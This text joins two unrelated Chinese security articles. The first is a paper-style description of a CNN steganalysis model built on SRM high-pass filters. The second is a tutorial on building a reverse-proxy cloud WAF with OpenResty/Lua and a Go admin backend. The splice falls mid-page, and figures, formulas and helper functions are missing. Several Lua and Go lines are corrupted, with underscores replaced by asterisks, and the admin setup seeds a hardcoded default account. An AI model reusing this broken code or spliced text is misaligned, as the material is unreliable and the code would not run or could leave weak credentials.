隐写术本来被用于隐藏机密信息，但自从恐怖分子利用隐写术向数字图像中嵌入秘密指令发动美国双子塔的袭击（即著名的“9.11”事件）后，人们意识到了检测并分析隐写信息的重要性，目前隐写分析还处于检测载体中是否隐藏有机密信息的阶段。本文分析目前研究情况后，提出了一个隐写分析的卷积神经网络模型，它具有良好的隐写分析性能。
## 隐写术
图像隐写术是一门通过修改图像像素或频率系数在图像中隐藏秘密消息的技术和科学。隐写术最重要的要求是不可检测性，这就要求隐写方法将消息嵌入到数字载体时，生成的对象在视觉和统计上类似于原始载体。
隐写算法的一个重大分支是空间域隐写算法。在空间域方面，隐写算法的特点是直接改变图像的某些人眼难以察觉的像素点。典型的是最低有效位（LSB）替换，它将消息嵌入图像像素的最低有效位，但极易被检测。LSB替换可以被看作是非自适应隐写算法，这意味着数据隐藏后的修改像素将随机分布在整个图像上。然而，根据已有知识可知，位于纹理区域中的像素具有比平滑区域中的像素更好的隐藏属性，这一事实已被用于目前流行的自适应隐写算法中。
### 自适应隐写算法
自适应隐写算法自动识别图像内容的纹理区域隐藏秘密信息。例如边缘自适应隐写术（EA）根据两个相邻像素之间的差异将秘密消息嵌入边缘区域。目前流行的自适应隐写算法有HUGO、HILL、MiPOD、S-UNIWARD和等。它们在最小化失真函数的框架下进行了设计，即首先为载体图像中的每个像素分配嵌入成本，再根据嵌入成本定义失真函数，最后通过某些编码技术使失真函数最小化来获得生成的载密图像。实践证明，隐写算法的安全性越来越强，对它们的检测难度越来越高。
## 隐写分析
传统隐写分析算法主要基于手工提取的特征，常用的特征提取方式有小波直方图特征、马尔可夫特征、离散余弦变换系数的共生矩阵特征等。空域富模型(SRM)凭借其优越的特征提取方式被公认为传统隐写分析领域最成功的空域隐写检测算法。该模型主要针对相邻像素相关性设计，通过78个滤波器获取相邻像素残差，在此基础上产生高维特征向量。该模型能够检测三个空域算法，分别是，基于内容自适应隐藏的HUGO算法，基于边缘自适应的EA算法，和基于最优三元编码的±1调整类算法。SRM的详细内容如下。
### SRM
上图是SRM隐写分析特征的提取方法。首先通过高通滤波器获取残差图像子模型，再通过量化、取整和截断提取每一幅残差图像子模型的四阶共生矩阵，最后将这些共生矩阵的元素重新排列构成隐写分析特征。
SRM设计了丰富多样的空域高通滤波器，并使用这些滤波器对图像进行滤波，结果得到丰富多样的残差图像子模型，这些残差图像子模型可看做是高通滤波后的图像，主要包含了图像的高频成分。SRM使用丰富多样的残差图像子模型主要有两个原因，第一个是残差在很大程度上抑制了图像内容，减小了动态变化的范围，使得统计特性更加紧凑和健壮。第二个是对图像的某个像素的隐写嵌入改动可能会导致某些残差图像相应位置的相邻像素相关性发生变化，但未必能导致另一些残差图像的相应位置的相邻像素相关性发生变化，单独使用某一幅残差图像不能全面地反映所有可能的隐写嵌入改动引起的图像相邻像素相关性变化。
因此，SRM设计的丰富残差图像子模型能更全面地感知隐写引起的图像相邻像素相关性的变化。SRM的残差图像子模型公式如下：
残差主要包括一阶、二阶、三阶、SQUARE、EDGE3x3与EDGE5x5六类残差。如下为经典的残差和高通滤波器。水平、垂直、对角线、反对角线方向的残差表示为Rh,Rv,Rd,Rm。
### 线性残差
对于线性残差而言，上图已给出一阶、二阶、三阶线性残差的计算方式，以此类推，不难发现，SQUARE、EDGE3x3与EDGE5x5线性残差只是在计算中使用了更多方向的邻域像素。SQUARE、EDGE3x3与EDGE5x5高通滤波器如上图。在实践中，线性残差的计算方法通过分配率运算可转换为图像和高通滤波器的卷积运算，如下：
i,j表示待求取残差的像素位置，r、c表示运算的像素点位置。
## 隐写分析模型
近几年，随着GPU（Graphics Processing Unit）并行计算方式和深度学习的发展，可以模拟手工提取特征的方法从数据本身学习隐写信息。
本文利用了深度学习的技术模拟了SRM中线性残差的手工提取方法进行隐写信息的检测与分析。
设计的基本网络模型结构如下。
模型接收大小256×256的图像，输出两类标签。CNN由许多层组成，其中包括一个图像预处理层、八个卷积层用于特征提取，一个全连接层用于结果分类。
### 隐写分析模型重点部分
在图像预处理层中，本人模拟了SRM中线性残差的手工提取方法。具体来说就是设计了一个通道数为30、大小为5×5的矩阵作为卷积核，使用SRM中收集的30个HPFs初始化此卷积核，然后将此卷积核与原图像做卷积运算，即得到线性残差信息，它包含了丰富的隐写信息。
本人选取的30个高通滤波器为：
[[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 1. 0. 0.]
[ 0. 0. -1. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 1. 0.]
[ 0. 0. -1. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. -1. 1. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. -1. 0. 0.]
[ 0. 0. 0. 1. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. -1. 0. 0.]
[ 0. 0. 1. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. -1. 0. 0.]
[ 0. 1. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 1. -1. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 1. 0. 0. 0.]
[ 0. 0. -1. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 1. 0. 0.]
[ 0. 0. -2. 0. 0.]
[ 0. 0. 1. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 1. 0.]
[ 0. 0. -2. 0. 0.]
[ 0. 1. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 1. -2. 1. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 1. 0. 0. 0.]
[ 0. 0. -2. 0. 0.]
[ 0. 0. 0. 1. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. -1. 0. 0.]
[ 0. 0. 3. 0. 0.]
[ 0. 0. -3. 0. 0.]
[ 0. 0. 1. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. 0. 0. 3. 0.]
[0. 0. -3. 0. 0.]
[0. 1. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. 0. 0. 0. 0.]
[0. 1. -3. 3. 0.]
[0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. 1. 0. 0. 0.]
[0. 0. -3. 0. 0.]
[0. 0. 0. 3. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. 0. 1. 0. 0.]
[0. 0. -3. 0. 0.]
[0. 0. 3. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. 0. 0. 1. 0.]
[0. 0. -3. 0. 0.]
[0. 3. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. 0. 0. 0. 0.]
[0. 3. -3. 1. 0.]
[0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. 3. 0. 0. 0.]
[0. 0. -3. 0. 0.]
[0. 0. 0. 1. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. -1. 2. -1. 0.]
[0. 2. -4. 2. 0.]
[0. -1. 2. -1. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. -1. 2. -1. 0.]
[0. 2. -4. 2. 0.]
[0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. 0. 2. -1. 0.]
[0. 0. -4. 2. 0.]
[0. 0. 2. -1. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[0. 0. 0. 0. 0.]
[0. 2. -4. 2. 0.]
[0. -1. 2. -1. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. -1. 2. 0. 0.]
[ 0. 2. -4. 0. 0.]
[ 0. -1. 2. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ -1. 2. -2. 2. -1.]
[ 2. -6. 8. -6. 2.]
[ -2. 8. -12. 8. -2.]
[ 2. -6. 8. -6. 2.]
[ -1. 2. -2. 2. -1.]]]
[[[ -1. 2. -2. 2. -1.]
[ 2. -6. 8. -6. 2.]
[ -2. 8. -12. 8. -2.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]]]
[[[ 0. 0. -2. 2. -1.]
[ 0. 0. 8. -6. 2.]
[ 0. 0. -12. 8. -2.]
[ 0. 0. 8. -6. 2.]
[ 0. 0. -2. 2. -1.]]]
[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ -2. 8. -12. 8. -2.]
[ 2. -6. 8. -6. 2.]
[ -1. 2. -2. 2. -1.]]]
[[[ -1. 2. -2. 0. 0.]
[ 2. -6. 8. 0. 0.]
[ -2. 8. -12. 0. 0.]
[ 2. -6. 8. 0. 0.]
[ -1. 2. -2. 0. 0.]]]]
将它们先存储到数组SRM_Kernels中，在定义变量卷积核W_SRM时，使用数组SRM_Kernels初始化变量，如下：
`W_SRM = tf.get_variable('W', initializer=SRM_Kernels, dtype=tf.float32,
regularizer=None)`
## 隐写分析模型性能测试
本文应用了两个著名的内容自适应隐写算法来评估隐写分析模型的性能，即WOW、S-UNIWARD，使用拥有10000张图片的图像集BOSSBase
1.01，将其图像缩放为256×256后做隐写操作。随后即有10000对原图、隐写图，选择8000对做训练，剩余的各1000对做验证和测试。
结果如下表，数据表示隐写分析的准确率。
上图中，SRM+EC代表传统的手工提取特征的隐写分析模型，看结果可知，本文的模型对两种隐写算法的检测准确率都很高，超过了传统的隐写分析模型，具备良好的效果
## 基于线性及非线性残差特征学习
在模拟线性残差进行隐写特征的学习时，可发现一个线性残差特征仅仅表现极少的目标位置邻域像素的相关性变化，提取出的特征信息有限，而非线性残差特征能有效地弥补这个缺陷。因此，本文模拟线性及非线性残差进行隐写特征的学习，提出了新的卷积神经网络隐写分析模型，它具有更佳的隐写分析性能。
## 空域隐写分析新阶段发展历程
传统隐写分析算法基于手工特征的提取，典型代表是空域富模型SRM。在其后相当长一段时间内，学者们提出了一系列改进的隐写分析算法，但仍然沿用SRM相邻像素相关性的核心思想和特征的获取方式，因此没有产生意义重大的隐写分析成果。如今，SRM通过不断改进的高通滤波器已能从数据中提取三万多维特征，然而这些高通滤波器的设计大多基于经验，缺乏严谨的论证和分析。有学者认为从数据本身学习特征会更有效，随后越来越多的学者支持并尝试实现这一理念，在GPU和深度学习的支持下，隐写分析进入了新阶段。
2014年，Tan和Li提出了第一个应用深度学习技术的隐写分析模型，它使用基于自编码器的卷积神经网络（CNN）进行无监督学习。随后，学者们使用高通滤波器(HPF)对图像进行预处理，从而提高嵌入过程引入的隐写噪声的影响，并进行监督学习。2015年，Qian等人提出了第一个采用监督学习方法的卷积神经网络模型。Xu等人提出了一个类似于Qian的CNN模型，不同的是，他们使用了一个绝对值层(ABS)和1×1的卷积核来加强统计建模。2017年，Xu等人在ResNet的启发下，提出了一个新的CNN模型，它由20个卷积层组成。Ye等人提出了一个由8个卷积层组成的空域CNN模型，它在预处理层添加了截断线性单元(TLU)激活函数和一组滤波器，这组滤波器基于SRM，被用于初始化预处理层的卷积核，以获得线性残差特征图。2017年主要的趋势是应用ResNet等优化了卷积神经网络架构，同时模拟了SRM的特征提取方式，显著提高了隐写分析的检测效果。2018年，Yedroudj等人提出了一个由5个卷积层组成的空域CNN模型，该模型使用了基于SRM特征提取方式的高通滤波器作为预处理层的卷积核，并且在每一个卷积层中都加入了BN。Zhang等人提出了新的CNN模型，它使用深度可分离卷积网络获得特征图通道和空间的相关性，加入spatial
pyramid pooling（SPP）处理不同大小的图像，提高了特征表达的能力。
在空域中，模拟传统SRM的手工提取线性残差特征的方法，学者们提出的隐写分析模型使用深度学习技术从载密图像中学习了更丰富的隐写噪声，取得了优于SRM的准确率。
现有的空域隐写分析CNN模型都基于线性残差特征进行隐写分析，这些线性残差特征线性地组合了多滤波器操作的残差信息。而SRM研究表明，对多滤波器操作的残差信息进行非线性组合同样能有效地抑制图像内容的干扰，放大隐写痕迹。
## SRM的非线性残差
上一篇文章已经描述了SRM中线性残差的详细计算方法。对于非线性残差而言，如下图所示，它可通过求取两个或者更多同类线性滤波残差的最大值或最小值得到。其中，Rij表示某一像素坐标为(i,j)的残差信息，水平、垂直、对角线、反对角线方向的残差表示为Rh,Rv,Rd,Rm。
以一阶残差为例，要获得一阶非线性残差，首先通过计算获得所有一阶线性残差，再统计其最大最小值即求得两个一阶非线性残差。下图是一阶线性残差原型，yij即待求取残差位置的像素值，yi,j+1即待求取残差位置的像素值的一个邻域像素值。
将残差原型通过旋转变化，水平方向、垂直方向、对角线和反对角线方向各有2个不同的线性残差，即一共有8个一阶线性残差，如下。
此时，一阶非线性残差如下。
非线性残差综合了同类线性残差的统计特征，全面反映了隐写嵌入改动引起的图像相邻像素相关性变化情况，具有极高的应用价值。
## 基于线性、非线性残差的隐写分析模型
本隐写分析模型模拟了空域下线性和非线性残差特征的手工提取方式，模拟线性残差特征的方式见上一篇文章模型的信息。这里主要描述非线性残差特征的详细内容。
### 模型中非线性残差特征的设计
基于SRM的非线性残差统计特征更全面的特点，对空域下SRM HPFs获取的线性残差信息进行非线性变换，获得了非线性残差特征。
本文使用了一阶、二阶、三阶、SQUARE、EDGE3x3和EDGE5x5的这六类SRM高通滤波器（高通滤波器详细信息可见上一篇文章），它们的数量分别是8、4、8、2、4、4。这30个高通滤波器参与运算获得30个线性残差特征图。一阶、二阶、三阶的非线性残差特征图各有2个。SQUARE分为SQUARE3x3和SQUARE5x5，它通过变换生成了EDGE3x3和EDGE5x5。因此，SQUARE3x3和EDGE3x3本质上属于同一大类，一共有2个线性残差特征图，SQUARE5x5和EDGE5x5同理。因此，这两大类各产生2个非线性残差特征图。经统计获得对应的一共10个非线性残差特征图。和使用线性残差信息初始化卷积核的方式一样，也使用得到的非线性残差信息初始化卷积核，此时卷积核有40个通道，前30通道使用线性残差初始化，最后10通道使用非线性残差初始化。
### 模型中非线性残差特征的实现
当获取每一张图像的非线性残差信息时，首先获取它的线性残差信息，此方法上一篇文章已描述。记获取到的线性残差信息为Resi，它有三十个通道，每个通道特征即为一份线性残差特征信息。
获取到Resi后，将它的三十个通道切分开，即获得30个线性残差特征信息。在tensorflow框架下切分方法如下：
`inputnum0, inputnum1, inputnum2, inputnum3, inputnum4, inputnum5, inputnum6,
inputnum7, inputnum8, inputnum9, inputnum10, inputnum11, inputnum12,
inputnum13, inputnum14, inputnum15, inputnum16, inputnum17, inputnum18,
inputnum19, inputnum20, inputnum21, inputnum22, inputnum23, inputnum24,
inputnum25, inputnum26, inputnum27, inputnum28, inputnum29 =tf.split(inputnum,
30, 1)`
在这30个线性残差特征信息中，inputnum0至inputnum7、inputnum8至inputnum11、inputnum12至inputnum19、inputnum20至inputnum24、inputnum25至inputnum29分别是五大类线性残差信息，即一阶线性残差、二阶线性残差、三阶线性残差、SQUARE3x3+EDGE3x3、SQUARE5x5+EDGE5x5这五大类。
对每类残差特征信息进行非线性变换，即求得它们的最大最小值。以一阶线性残差这一类为例，代码如下：
`maxnum0 = maxnum(inputnum0, inputnum1)`
`maxnum0 = maxnum(maxnum0, inputnum2)`
`maxnum0 = maxnum(maxnum0, inputnum3)`
`maxnum0 = maxnum(maxnum0, inputnum4)`
`maxnum0 = maxnum(maxnum0, inputnum5)`
`maxnum0 = maxnum(maxnum0, inputnum6)`
`maxnum0 = maxnum(maxnum0, inputnum7)`
`minnum0 = minnum(inputnum0, inputnum1)`
`minnum0 = minnum(minnum0, inputnum2)`
`minnum0 = minnum(minnum0, inputnum3)`
`minnum0 = minnum(minnum0, inputnum4)`
`minnum0 = minnum(minnum0, inputnum5)`
`minnum0 = minnum(minnum0, inputnum6)`
`minnum0 = minnum(minnum0, inputnum7)`
这样得到的maxnum0、minnum0即为最大最小的一阶非线性残差信息。其中，maxnum和minnum函数分别定义如下：
## 隐写分析模型性能比较
本文称仅模拟线性残差特征提取的隐写分析模型为‘线性模型’，仅模仿非线性残差特征提取的隐写分析模型为‘非线性模型’，同时模拟线性和非线性残差特征提取的隐写分析模型为‘our
model’,实现的隐写分析实验如下表。
其中，表格中Ye-Net是一个有名的卷积神经网络隐写分析模型。
首先分析‘线性模型’和‘非线性模型’。在WOW的隐写分析检测中，‘非线性模型’的准确率低于‘线性模型’约2%，但在S-UNIWARD的隐写分析检测准确率低于约3%~%6。本文认为非线性残差特征粗糙地统计了每类线性残差特征的最大最小值，没有考虑每类中残差特征值在这一值域的分布特征，因此没有较全面地反映所有可能的隐写嵌入改动引起的图像相邻像素相关性变化，即没有充分发挥非线性残差特征的优势。但‘非线性模型’的准确率均高于CNN隐写分析网络Ye-Net，说明‘线性模型’具有良好的竞争性，能增强隐写信息的特征表达。
‘our model’对WOW和S-UNIWARD的隐写分析检测效果均好于‘线性模型’和‘非线性模型’。在嵌入率为0.2的WOW和S-UNIWARD隐写算法中，‘our
model’的隐写分析准确率高于‘线性模型’和‘非线性模型’约0.3%到%6，效果不特别显著，对比高嵌入率隐写分析准确率可知，这主要是隐写过程中嵌入秘密信息过少造成的，说明本文设计新型线性非线性隐写分析模型仍然可行。 | 社区文章 |
注：本文为“小米安全中心”原创，转载请联系“小米安全中心”：<https://sec.xiaomi.com/>
概述
WEB攻击是十几年来黑客攻击的主流技术，国内的大厂们早已把WAF作为安全基础设施的标配，市面上也有很多安全厂商提供了WAF产品或云WAF服务。
对于没有自己安全团队，却又饱受sql注入、xss、cc等WEB攻击的中、小企业，对WAF的需求也是非常迫切的。
目前获取WAF的途径有以下几种：
购买安全厂商的WAF产品
使用云waf服务，将自己域名的DNS服务器设为云waf厂商提供的，或者将需要接入云waf的域名cname过去
或者从网上找一些免费或开源的waf使用
自制WAF
对于收入不错的公司使用收费的产品或服务无可厚非，但是有些公司会因预算、数据私密性（云waf可以捕获所有流量的请求和响应的内容）等原因，不打算使用收费的产品或服务。
这种情况下只能使用免费的waf了，或者按业务需求自制一款适合自己的云WAF。
笔者会通过本文详细阐述如何用一周的时间自制一款简单易用的云WAF，以下为已经完成的云WAF的文档及github地址：
项目站点：<https://waf.xsec.io/>
Github地址：<https://github.com/xsec-lab>
云WAF架构设计
物理架构
根据业务场景或需求的不同，WAF也有不同的架构，比如：
以模块的形式集成到本地WEB容器中，如mod_security、Naxsi
反向代理模式
硬件产品WAF
Agent+检测云模式
本文实现的云WAF采用了反向代理模式的架构
waf可以部署一台或者多台服务器中，如果业务规模较大，一台waf的性能已经无法满足业务需求，可以在waf前面使用LVS、haproxy、nginx等搭建负载均衡，通过VIP将前端的请求分发到后端的waf中
后端的app server为提供正常业务的web
server，用户的请求会先经过waf进行过滤，如果是恶意的攻击请求，则会在waf层面阻断，如果是正常的请求才会转发到后端服务器
逻辑架构
x-waf由x-waf本身以及web管理后台x-waf-admin组成，其中：
x-waf基于openresty + lua开发
waf管理后台：采用golang + xorm + macrom开发的，支持二进制的形式部署
x-waf的实现
笔者呆过的2家公司都自主研发过云waf，架构一开始就设计成了适合大规模业务系统的，安装、部署、运维都比较复杂，不方便小企业快速部署，所以在参考了github中现有的开源的几款waf后，重新设计了一款轻量级的。
x-waf的执行流程
openresty默认不会执行lua脚本，需要在nginx.conf中进行配置，如下所示：
# 指定lua文件的查找路径
lua_package_path "/usr/local/openresty/nginx/conf/x-waf/?.lua;/usr/local/lib/lua/?.lua;;";
# 定义2个lua shared dict变量分别为limit和badGuys，分配的内存大小为100M
lua_shared_dict limit 100m;
lua_shared_dict badGuys 100m;
# 开启lua代码缓存功能
lua_code_cache on;
# 让nginx在init阶段执行init.lua文件中的lua代码
init_by_lua_file /usr/local/openresty/nginx/conf/x-waf/init.lua;
# 让nginx在每个http请求的access阶段执行access.lua文件中的lua代码
access_by_lua_file /usr/local/openresty/nginx/conf/x-waf/access.lua;
openresty在init阶段会根据配置文件指定的位置导入json格式的规则到全局的lua
table中，不同的规则放在不同的table中，以加快正则匹配的速度
waf = require("waf")
waf_rules = waf.load_rules()
waf.load_rules会根据配置文件中指定的路径加载读取所有json格式的规则，并加载到不同的table中，然后封装一个get_rule的函数，方便在每个http进来时可以直接从lua
table中获取对应类型的规则：
local _M = {
RULES = {}
}
function _M.load_rules()
_M.RULES = util.get_rules(config.config_rule_dir)
return _M.RULES
end
function _M.get_rule(rule_file_name)
ngx.log(ngx.DEBUG, rule_file_name)
return _M.RULES[rule_file_name]
end
util.get_rules会将指定文件中的规则按规则名保存到lua table中供waf.get_rule函数在需要的时候获取规则：
function _M.get_rules(rules_path)
local rule_files = _M.get_rule_files(rules_path)
if rule_files == {} then
return nil
end
for rule_name, rule_file in pairs(rule_files) do
local t_rule = {}
local file_rule_name = io.open(rule_file)
local json_rules = file_rule_name:read("*a")
file_rule_name:close()
local table_rules = cjson.decode(json_rules)
if table*rules ~= nil then for *, table_name in pairs(table_rules) do
table.insert(t_rule, table_name["RuleItem"])
end
end
_M.RULE_TABLE[rule_name] = t_rule
end
return(_M.RULE_TABLE)
end
每个请求进来时，waf会按ip白名单、ip黑名单、user_agent、是否cc攻击、url白名单、url黑名单、是否cc攻击、cookies、get和post参数的顺序进行过滤，如果匹配到其中任一种就会进行相应的处理（输出提示或跳转后），之后就不会继续判断是否为其他类型的攻击了。
function _M.check()
if _M.white_ip_check() then
elseif _M.black_ip_check() then
elseif _M.user_agent_attack_check() then
elseif _M.white_url_check() then
elseif _M.url_attack_check() then
elseif _M.cc_attack_check() then
elseif _M.cookie_attack_check() then
elseif _M.url_args_attack_check() then
elseif _M.post_attack_check() then
else
return
end
end
对每个请求的每种参数类型的判断都是先获取到参数内容，然后再循环与该类参数的正则规则进行匹配，如果匹配到则认为是攻击请求，以下为对post参数进行过滤的函数：
-- deny post
function _M.post_attack_check()
if config.config_post_check == "on" then
ngx.req.read_body()
local POST_RULES = _M.get*rule('post.rule') for *, rule in pairs(POST_RULES) do
local POST_ARGS = ngx.req.get_post*args() or {} for *, v in pairs(POST_ARGS) do
local post_data = ""
if type(v) == "table" then
post_data = table.concat(v, ", ")
else
post_data = v
end
if rule ~= "" and rulematch(post_data, rule, "jo") then
util.log_record('Deny_USER_POST_DATA', post_data, "-", rule)
if config.config_waf_enable == "on" then
util.waf_output()
return true
end
end
end
end
end
return false
end
waf管理后台x-waf-admin的实现
waf的规则是以json格式的字符串，人工维护起来容量出错，另外云waf会有多台waf同时工作，如果人工做waf的后端主机的管理、规则同步与主机配置的同步等这些运维工作的话，非常容易出错或者疏漏，所以有必要提供一个自动化管理、同步配置的管理后台。
waf管理后台的功能需求
方便部署，启动前只需做简单的配置即可，第一次启动时，x-waf-admin会在mysql中生成默认管理员以及默认的waf规则；
用户管理，支持管理员账户的增、改、删；
waf规则管理，支持waf规则的增、改、删除以及策略同步到所有waf服务器的功能；
后端站点管理，支持接入waf的站点的增、改、删除，以及单独同步或全部同步接入的后端站点的功能。
程序结构
为了方便部署，x-waf-admin没有采用python、php等需要搭建运行环境或依赖第3方包的语言，而是用可以直接编译为可执行文件的go语言写的，具体的技术栈为go语言 +
macron + xorm。
项目结构如下：
hartnett at hartnett-notebook in /data/code/golang/src/xsec-waf/x-waf-admin (master●)
$ tree -L 2
├── conf
│ └── app.ini
├── models
│ ├── models.go
│ ├── rules.go
│ ├── site.go
│ └── user.go
├── modules
│ └── util
├── public
│ ├── css
├── README.md
├── routers
│ ├── admin.go
│ ├── index.go
│ ├── rules.go
│ ├── site.go
│ └── user.go
├── server
├── server.go
├── setting
│ └── setting.go
└── templates
conf为配置文件目录
models目录下为orm文件
modules为功能模块组件
public和templates分别为静态资源及模板文件所在的目录
routers目录下的为各路由文件
setting目录下为配置文件处理的文件
server.go为程序入口
规则管理功能的实现
用户管理、后端站点管理与规则管理功能的实现大同小异，都是类似flask、martini、tornado、django等MTV
WEB框架的应用，为了减少篇幅，本文只写后端站点管理功能如何实现，完整的代码请参见github。
后端站点管理的ORM实现
先用xorm定义site的struct，然后再提供增、改、删、查看等方法，这些方法会被routers模块中的site文件调用：
// 因篇幅太长，省略部分代码，详细代码请查看github
// debuglevel: debug, info, notice, warn, error, crit, alert, emerg
// ssl: on, off
type Site struct {
Id int64
SiteName string `xorm:"unique"`
Port int
BackendAddr []string
Ssl string `xorm:"varchar(10) notnull default 'off'"`
DebugLevel string `xorm:"varchar(10) notnull default 'error'"`
LastChange time.Time `xorm:"updated"`
Version int `xorm:"version"` // 乐观锁
}
func ListSite() (sites []Site, err error) {
sites = make([]Site, 0)
err = Engine.Find(&sites)
log.Println(err, sites)
return sites, err
}
func NewSite(siteName string, Port int, BackendAddr []string, SSL string, DebugLevel string) (err error) {
if SSL == "" {
SSL = "off"
}
if DebugLevel == "" {
DebugLevel = "error"
}
_, err = Engine.Insert(&Site{SiteName: siteName, Port: Port, BackendAddr: BackendAddr, Ssl: SSL, DebugLevel: DebugLevel})
return err
}
后端站点管理的路由实现
首先import相应的包，然后分别编写以下处理器：
增加站点的get与post请求的处理器（NewSite、DoNewSite）
修改站点的get与post请求的处理器（EditSite、DoEditSite）
根据ID删除站点的get处理器（DelSite）
同步站点配置的处理器（SyncSite）
同步站点配置的API的处理器以及根据ID同步站点配置的API的处理器（SyncSiteApi、SyncSiteById）
// 因篇幅太长，省略部分代码，详细代码请查看github
func NewSite(ctx *macaron.Context, sess session.Store, x csrf.CSRF) { if sess.Get("uid") != "" {
ctx.Data["csrf_token"] = x.GetToken()
ctx.HTML(200, "newSite")
} else {
ctx.Redirect("/login/")
}
}
func DoNewSite(ctx *macaron.Context, sess session.Store) {
if sess.Get("uid") != nil {
log.Println(sess.Get("uid"))
siteName := ctx.Req.Form.Get("sitename")
port := ctx.Req.Form.Get("port")
Port, *:= strconv.Atoi(port) backaddr := ctx.Req.Form.Get("backendaddr") backendaddr := strings.Split(backaddr, "\r\n") BackendAddr := make([]string, 0) for *, v := range backendaddr {
if v == "" {
continue
}
v = strings.TrimSpace(v)
BackendAddr = append(BackendAddr, v)
}
ssl := ctx.Req.Form.Get("ssl")
debugLevel := ctx.Req.Form.Get("debuglevel")
log.Println(siteName, BackendAddr, ssl, debugLevel)
models.NewSite(siteName, Port, BackendAddr, ssl, debugLevel)
ctx.Redirect("/admin/site/list/")
} else {
ctx.Redirect("/login/")
}
}
model的初始化
大家一定注意到了，虽然用了mysql，但是没有要求在使用前手工去导入建表或插入初始化值的sql脚本，这是为神马呢？
因为我们使用了ORM，ORM会帮我们自动完成上面所说的操作，如下代码所示：
// 因篇幅太长，省略部分代码，详细代码请查看github
var (
Engine *xorm.Engine
err error
)
func init() {
// 从conf/app.ini获取数据库的配置信息
sec := setting.Cfg.Section("database")
// 连接数据库
Engine, err = xorm.NewEngine("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s?charset=utf8",
sec.Key("USER").String(),
sec.Key("PASSWD").String(),
sec.Key("HOST").String(),
sec.Key("NAME").String()))
if err != nil {
log.Panicf("Faild to connect to database, err:%v", err)
}
// 新建site、user和rules表
Engine.Sync2(new(Site))
Engine.Sync2(new(User))
Engine.Sync2(new(Rules))
// 如果user表为空，则新建一个默认账户，
ret, err := Engine.IsTableEmpty(new(User))
if err == nil && ret {
log.Printf("create new user:%v, password:%v\n", "admin", "[email protected]")
NewUser("admin", "[email protected]")
}
// 如果规则为空，则插入默认的初始化规则
ret, err = Engine.IsTableEmpty(new(Rules))
if err == nil && ret {
log.Println("Insert default waf rules")
Engine.Exec(DefaultRules)
}
}
配置路由
当ORM、路由处理相关的代码写完后就可以在程序入口中配置路由了，将URL与路由处理的控制器对应起来，如下所示：
// 因篇幅太长，省略部分代码，详细代码请查看github
m.Group("/admin", func() {
m.Get("/index/", routers.Admin)
m.Group("/site/", func() {
m.Get("", routers.Admin)
m.Get("/list/", routers.Admin)
m.Get("/new/", routers.NewSite)
m.Post("/new/", csrf.Validate, routers.DoNewSite)
m.Get("/edit/:id", routers.EditSite)
m.Post("/edit/:id", csrf.Validate, routers.DoEditSite)
m.Get("/del/:id", routers.DelSite)
m.Get("/sync/", routers.SyncSite)
m.Get("/sync/:id", routers.SyncSiteById)
m.Get("/json/", routers.SiteJSON)
})
})
m.Group("/api", func() {
m.Get("/site/sync/", routers.SyncSiteApi)
m.Get("/rule/sync/", routers.SyncRuleApi)
})
log.Printf("xsec waf admin %s", setting.AppVer)
log.Printf("Run mode %s", strings.Title(macaron.Env))
log.Printf("Server is running on %s", fmt.Sprintf("0.0.0.0:%v", setting.HTTPPort))
log.Println(http.ListenAndServe(fmt.Sprintf("0.0.0.0:%v", setting.HTTPPort), m))
注：本文为“小米安全中心”原创，转载请联系“小米安全中心”。
参考资料
